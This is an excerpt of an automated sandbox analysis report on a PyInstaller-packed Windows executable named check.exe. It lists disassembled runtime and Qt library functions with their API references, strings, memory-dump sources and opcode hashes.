
Function 00007FF61C4DFBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4DFEA7

Part of subcall function 00007FF61C4D7A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D7A59

Strings

UTF-16LEUNICODE, xrefs: 00007FF61C4DFE45
ccs, xrefs: 00007FF61C4DFDE2
UTF-8, xrefs: 00007FF61C4DFE26

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: aa331567d0a47057ee0a9af38b18260ed978d053f8704f1af6622ee1c6d5c5a0
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 53819F72E0CA4385F775AF2991402FC26A0AB35FACF758035CA0AD7699DF2DE9219301

Function 00007FF61C4CD648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF61C4CD673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF61C4CD70A
RtlUnwindEx.KERNEL32 ref: 00007FF61C4CD764

Strings

csm, xrefs: 00007FF61C4CD6F1

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: ab5b598ac32acfa964eab00556ecfe2f2b54cf7dac11f1fd84fdb3d4b0816547
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: E151BF32A1EA028ADB148F15D444ABC7391EB44FACF208131DA8D877A8DF3CE865C705

Function 00007FF61C4CEED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF61C4CEF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF61C4CEF83

Strings

RCC, xrefs: 00007FF61C4CEF53
MOC, xrefs: 00007FF61C4CEF4B

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: ec617aeccfcdf2aa5e559bb844b470dac85f99dec6a221e6081caa06688ec0e9
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 41614C7290CB8585E7609B15E4403EEB7A0FB85BA8F144225EB9C47B65DF7CD1A4CB04

Function 00007FF61C4CF288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF61C4CF2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF61C4CF398

Strings

csm, xrefs: 00007FF61C4CF3EA
csm, xrefs: 00007FF61C4CF2D2

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 3f9ebbc52fd478d3737e564e76bf2fbba62accc0fe6ca786f3757e115de0755d
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 3E51A072A0CA4286FB748B2194442AC37A4FB55FACF244136DA5C83BA5CF3CE469C70D

Function 00007FF61C4C2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF61C4C28EA

Strings

[PYI-%d:%ls] , xrefs: 00007FF61C4C2868
ERROR, xrefs: 00007FF61C4C286F
Error, xrefs: 00007FF61C4C28DD

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 2f37257c7bf499d51349194e235309229e48574d9ee2161af37ef61e5f998358
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: C821B172B0CF4181E721DB15F4407EE6360EB88B98F500135EA8D93666DE3CD269C744

Function 00007FF61C4DC5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF61C4DC61F
WriteFile.KERNEL32 ref: 00007FF61C4DC8E7
WriteFile.KERNEL32 ref: 00007FF61C4DC92D
GetLastError.KERNEL32 ref: 00007FF61C4DC9E3

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 96dfc8de43f6521805bc281000e4e87d08a8c87e47be45771c8460b35f3c794f
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 26D1E172B08A8189E711CF65D4402FC37B5FB65BACB244226DE5E97B99DE38D026C304

Function 00007FF61C4C20C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF61C4C20F4
SetWindowLongPtrW.USER32 ref: 00007FF61C4C2116
GetWindowLongPtrW.USER32 ref: 00007FF61C4C2140
InvalidateRect.USER32 ref: 00007FF61C4C2160

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 7596576c83689852fda1275de66623b28b85ad263862aec10934867dbbda6031
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 0E11E931E0C94282F765876AE5442FE5391EF84FA8F648031DB4D47BA9CD7DD5A98308

Function 00007FF61C4E5B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF61C4E1760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E1793

_get_daylight.LIBCMT ref: 00007FF61C4E5C34
_get_daylight.LIBCMT ref: 00007FF61C4E5C45

Strings

?, xrefs: 00007FF61C4E5BC5

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: 3943083b2f6e35bb00b6951c68e24684e86eb3703c20da64d70b2aa853a82709
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: AB41F722A0CA8245F764D72794113FE6B50EB90FB8F254235EE5C86AD5EF3CD461C740

Function 00007FF61C4D9014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D9046

Part of subcall function 00007FF61C4DA948: RtlFreeHeap.NTDLL(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA95E
Part of subcall function 00007FF61C4DA948: GetLastError.KERNEL32(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF61C4CCBA5), ref: 00007FF61C4D9064

Strings

C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe, xrefs: 00007FF61C4D9052

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
API String ID: 3580290477-1466087570
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: 80df7eb4b74f570233c1f7326282e7e7090756268f7db2a6b82f36809f550ba3
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: 71418E36A0CE5286FB15EF21A8411FC63A5EB64FE8B654035E94EC3B85DE3DE4A18340

Function 00007FF61C4DCC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF61C4DCD4F
GetLastError.KERNEL32 ref: 00007FF61C4DCD71

Strings

U, xrefs: 00007FF61C4DCCFB

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: c6a8c242255093f3cf440e52a6fd92f0484ab4117c2b15530d5e896a2032e9fc
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: 7241A222A1CE5185DB209F25E8443FE6760FB98BA8F614135EA4EC7B94DF3CD411C744

Function 00007FF61C4DF5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF61C4DF5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF61C4DF64A

Strings

:, xrefs: 00007FF61C4DF60E

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction ID: b61a04c436185269eba61d09145324974b53db9de276953bb6d2ebf035055021
Opcode Fuzzy Hash: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction Fuzzy Hash: D421D562A0CA8181FB30EB15D0442BD63B1FBA4F58FA64035E68D83A94DF7CE5558741

Function 00007FF61C4CFD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF61C4CFD98
RaiseException.KERNEL32 ref: 00007FF61C4CFDD9

Strings

csm, xrefs: 00007FF61C4CFDC6

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 1e03ea418cafab9b6c0e89603d2afcfcd38028234a1034b2a8ed97599fd239ba
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: EF111C3261CF8182EB618F15E44029D77E4FB88B98F694230DA8E47B64DF3CD5658744

Function 00007FF61C4E073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E076C
GetDriveTypeW.KERNEL32 ref: 00007FF61C4E07AC

Strings

:, xrefs: 00007FF61C4E0795

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: b1dda03f4fa006d486560b951cdf1ce6f311f2c2818a68fc7c7db9ad9c441090
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 8001D421D1CA0385F730EF6294212FE27A0EF44B6CFA50035D95DC2691DE2CD5249B18

Analysis Process: check.exePID: 1132, Parent PID: 7784COMMON

Non-executed Functions

Function 00007FF81696C9AC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF81696C9D8
GetCurrentThreadId.KERNEL32 ref: 00007FF81696C9E6
GetCurrentProcessId.KERNEL32 ref: 00007FF81696C9F2
QueryPerformanceCounter.KERNEL32 ref: 00007FF81696CA02

Memory Dump Source

Source File: 0000000A.00000002.1899367696.00007FF8166A1000.00000020.00000001.01000000.00000022.sdmp, Offset: 00007FF8166A0000, based on PE: true

Associated: 0000000A.00000002.1899144054.00007FF8166A0000.00000002.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1904390678.00007FF81696E000.00000002.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1905273875.00007FF816ABB000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1905438449.00007FF816ACB000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1905794536.00007FF816AD1000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1906602612.00007FF816AD6000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1906652424.00007FF816AE5000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1906731657.00007FF816AEC000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1906841013.00007FF816AED000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1906879622.00007FF816AEE000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1906928936.00007FF816AEF000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1906978623.00007FF816B08000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1907030113.00007FF816B17000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1907077012.00007FF816B27000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1907154217.00007FF816B28000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1907249792.00007FF816B29000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1907309085.00007FF816B2A000.00000008.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1907394241.00007FF816B2D000.00000004.00000001.01000000.00000022.sdmpDownload File
Associated: 0000000A.00000002.1907454238.00007FF816B2F000.00000002.00000001.01000000.00000022.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff8166a0000_check.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 19a014122a8329d598b8a719417dcd6d526a9fad5fd2adc0fdb65de44e15e28a
Instruction ID: 513154159e6641b1dbc83b58d430f1736ac972d89d825758721fa4229f976f46
Opcode Fuzzy Hash: 19a014122a8329d598b8a719417dcd6d526a9fad5fd2adc0fdb65de44e15e28a
Instruction Fuzzy Hash: 56113022B19F018AEB00DF61E8542B833A4F7597B8F441E35EAAD467A4DF7CE168C340

Analysis Process: check.exePID: 3104, Parent PID: 5936COMMON

Non-executed Functions

Function 00007FF812312BB0 Relevance: 105.4, APIs: 55, Strings: 5, Instructions: 406COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF812325280: IsThemeActive.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325288
Part of subcall function 00007FF812325280: IsAppThemed.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325292
Part of subcall function 00007FF812325280: ?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,?,00007FF812311952), ref: 00007FF81232529C
Part of subcall function 00007FF812325280: ?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,?,00007FF812311952), ref: 00007FF8123252A7

?drawControl@QWindowsStyle@@UEBAXW4ControlElement@QStyle@@PEBVQStyleOption@@PEAVQPainter@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812312C1F
SystemParametersInfoW.USER32 ref: 00007FF812312C73
?property@QObject@@QEBA?AVQVariant@@PEBD@Z.QT5CORE ref: 00007FF812312CB3
?toBool@QVariant@@QEBA_NXZ.QT5CORE ref: 00007FF812312CBC
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812312CE4
?property@QObject@@QEBA?AVQVariant@@PEBD@Z.QT5CORE ref: 00007FF812312D19
?toInt@QVariant@@QEBAHPEA_N@Z.QT5CORE ref: 00007FF812312D24
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812312D34
?property@QObject@@QEBA?AVQVariant@@PEBD@Z.QT5CORE ref: 00007FF812312D4C
?toRect@QVariant@@QEBA?AVQRect@@XZ.QT5CORE ref: 00007FF812312D5C
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812312D71
??0QVariant@@QEAA@H@Z.QT5CORE ref: 00007FF812312D8B
?setProperty@QObject@@QEAA_NPEBDAEBVQVariant@@@Z.QT5CORE ref: 00007FF812312DA3
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812312DB0
??0QVariant@@QEAA@AEBVQRect@@@Z.QT5CORE ref: 00007FF812312DC0
?setProperty@QObject@@QEAA_NPEBDAEBVQVariant@@@Z.QT5CORE ref: 00007FF812312DD8
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812312DE5

Strings

_q_stylestate, xrefs: 00007FF812312D04, 00007FF812312D9C
_q_no_animation, xrefs: 00007FF812312CA5, 00007FF812312F04, 00007FF812313162
Button, xrefs: 00007FF812313095
_q_stylerect, xrefs: 00007FF812312D3E, 00007FF812312DD1
_q_isdefault, xrefs: 00007FF812312E03, 00007FF812312E57

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Variant@@$Object@@$?property@$?setProperty@StyleStyle@@Variant@@@Windows$?draw?instance@ActiveApplication@@Bool@ControlControl@CoreDarkElement@InfoInt@Mode@Option@@Painter@@ParametersPrivate@@Rect@Rect@@Rect@@@SystemThemeThemedWidget@@@
String ID: Button$_q_isdefault$_q_no_animation$_q_stylerect$_q_stylestate
API String ID: 57606971-2284688728
Opcode ID: 31d1a734e718618b18dcb5f26fa0ffaa97cb19d7ef59c08e332021c77c376183
Instruction ID: d8ed9dcd9846b16e1d2d7dd8b1cc6d201ea89c30c9c1c019d547c5419bdc25fe
